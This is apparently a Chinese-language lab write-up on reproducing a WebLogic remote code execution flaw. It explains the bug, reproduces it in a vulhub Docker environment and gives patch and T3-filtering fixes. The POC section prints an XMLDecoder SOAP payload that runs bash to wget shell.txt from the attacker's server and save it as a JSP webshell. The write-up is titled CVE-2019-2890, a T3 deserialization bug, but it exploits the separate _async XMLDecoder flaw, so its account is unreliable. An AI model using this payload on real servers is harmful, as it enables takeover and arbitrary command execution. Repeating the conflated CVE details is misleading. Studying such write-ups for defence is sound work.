文章目录
1. 基础知识
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
Weblogic有以下几点优势:
- Weblogic支持最新的Java EE 8和Java SE 11规范,可以让开发者使用最新的技术和API来构建应用。
- Weblogic提供了丰富的管理工具和API,可以实现运营自动化,提高效率和可靠性。
- Weblogic支持自动扩展和自动重启故障节点,可以保证应用的高可用性和可扩展性。
- Weblogic提供了Kubernetes部署和管理工具,可以让开发者在容器化和云原生的环境中运行应用。
- Weblogic与Oracle数据库和中间件集成,可以提供优化的性能、可用性和可支持性。
2. 复现
2.1 漏洞介绍
2019年10月15日,Oracle官方发布了2019年10月安全更新公告,其中包含了一个可造成RCE远程任意代码执行的高危漏洞,漏洞编号为CVE-2019-2890。
Weblogic在利用T3协议进行远程资源加载调用时,默认会进行黑名单过滤以保证反序列化安全。本漏洞绕过了Weblogic的反序列化黑名单,使攻击者可以通过T3协议对存在漏洞的Weblogic组件实施远程攻击。由于T3协议在Weblogic控制台开启的情况下默认开启,而Weblogic默认安装会自动开启控制台,所以攻击者可通过此漏洞造成远程代码执行,以控制Weblogic服务器。
漏洞影响版本:
WebLogic Server 10.3.6.0
WebLogic Server 12.1.3.0
WebLogic Server 12.2.1.3
2.2 漏洞原理分析
漏洞代码位于weblogic.jar中weblogic.wsee.jaxws.persistence.PersistentContext.class文件,它的readObject函数调用了readSubject函数,readSubject函数中使用了ObjectInputStream.readObject来反序列化对象。
查看对应的writeObject的逻辑,只要我们给对应的localObjectOutputStream.writeObject()序列化一个恶意对象,则PersistentContext对象被反序列化时,它的readObject函数被调用,readSubject函数中对恶意对象进行反序列化。因此通过T3发送精心伪造的PersistentContext对象,则可成功绕过黑名单检查。
2.3 漏洞复现
2.3.1 环境搭建
测试环境版本:weblogic 10.3.6.0
由于版本一致,可以直接利用vulhub中的镜像CVE-2017-10271,进入到相关目录,
执行docker-compose up -d
访问 :7001/console,如下环境搭建成功
2.3.2 漏洞验证
首先判断是否存在漏洞,如下图所示则可能存在漏洞,漏洞点:
http://192.168.10.132:7001/_async/AsyncResponseService
原理:Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML(SOAP协议)数据,在解析的过程中出现反序列化漏洞,导致任意代码执行。出问题的包是wls-wsat、_async。
使用Dnslog探测是否出网:
2.3.3 漏洞利用
创建shell.txt文件,并在当前文件所在目录用python开启web服务
访问一下web服务,web服务开启成功
访问http://192.168.10.132:7001/_async/AsyncResponseService,抓取数据包,修改payload:
返回的202响应数据,此时木马文件已经被写入服务器
访问shell, 可以执行任意命令
2.3.4 POC分析
这段POC的开头三行和末尾三号主要是SOAP的协议规范,SOAP是以XML形式提供了一个简单、轻量的用于在分散或分布环境中交换结构化和类型信息的机制,重点关注的是中间的内容,下面依次介绍XML的各个标签。
java标签
这个标签是使用 XMLEncoder 来生成表示 JavaBeans 组件(bean)的 XML 文档,用 XMLDecoder 读取使用 XMLEncoder 创建的XML文档获取JavaBeans。
object标签
通过 标签表示对象, 其class 属性指定具体类(用于调用其内部方法),此处为ProcessBuilder类,ProcessBuilder可以用于执行cmd命令,调用ProcessBuilder的start()方法启动进程,start将会在后续的标签void进行介绍。
array标签/void标签
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://192.168.10.132:4444/shell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/shell.jsp</string>
</void>
通过 标签表示数组, class 属性指定具体类,此处为字符串,在array标签内部使用 void 标签的 index 属性来指定数组索引赋值,此处相当于创建了一个长度为3的字符串数组,三个元素的内容分别相当于:
str[0] = '/bin/bash'
str[1] = '-c'
str[2] = wget http://192.168.10.132:4444/shell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/shell.jsp
其中str[0]指出了cmd命令的位置,str[1]表示执行,str[2]表示执行的具体命令
void标签中的start方法是前述ProcessBuilder类的一个方法,调用ProcessBuilder的start()方法可以启动命令执行的进程。
2.4 漏洞修复
1.更新Oracle 2019年10月补丁
https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html
2.控制T3协议的访问
此漏洞产生于WebLogic的T3服务,因此可通过控制T3协议的访问来临时阻断针对该漏洞的攻击。当开放WebLogic控制台端口(默认为7001端口)时,T3 服务会默认开启。具体操作:
(1)进入WebLogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。
(2)在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则中输入:127.0.0.1 * * allow t3 t3s,0.0.0.0/0 * * deny t3 t3s(t3和t3s协议的所有端口只允许本地访问)。
(3)保存后需重新启动,规则方可生效。
3.部署网络防护设备,若请求的数据中含有xml数据,必须进行严格的过滤,避免执行恶意命令。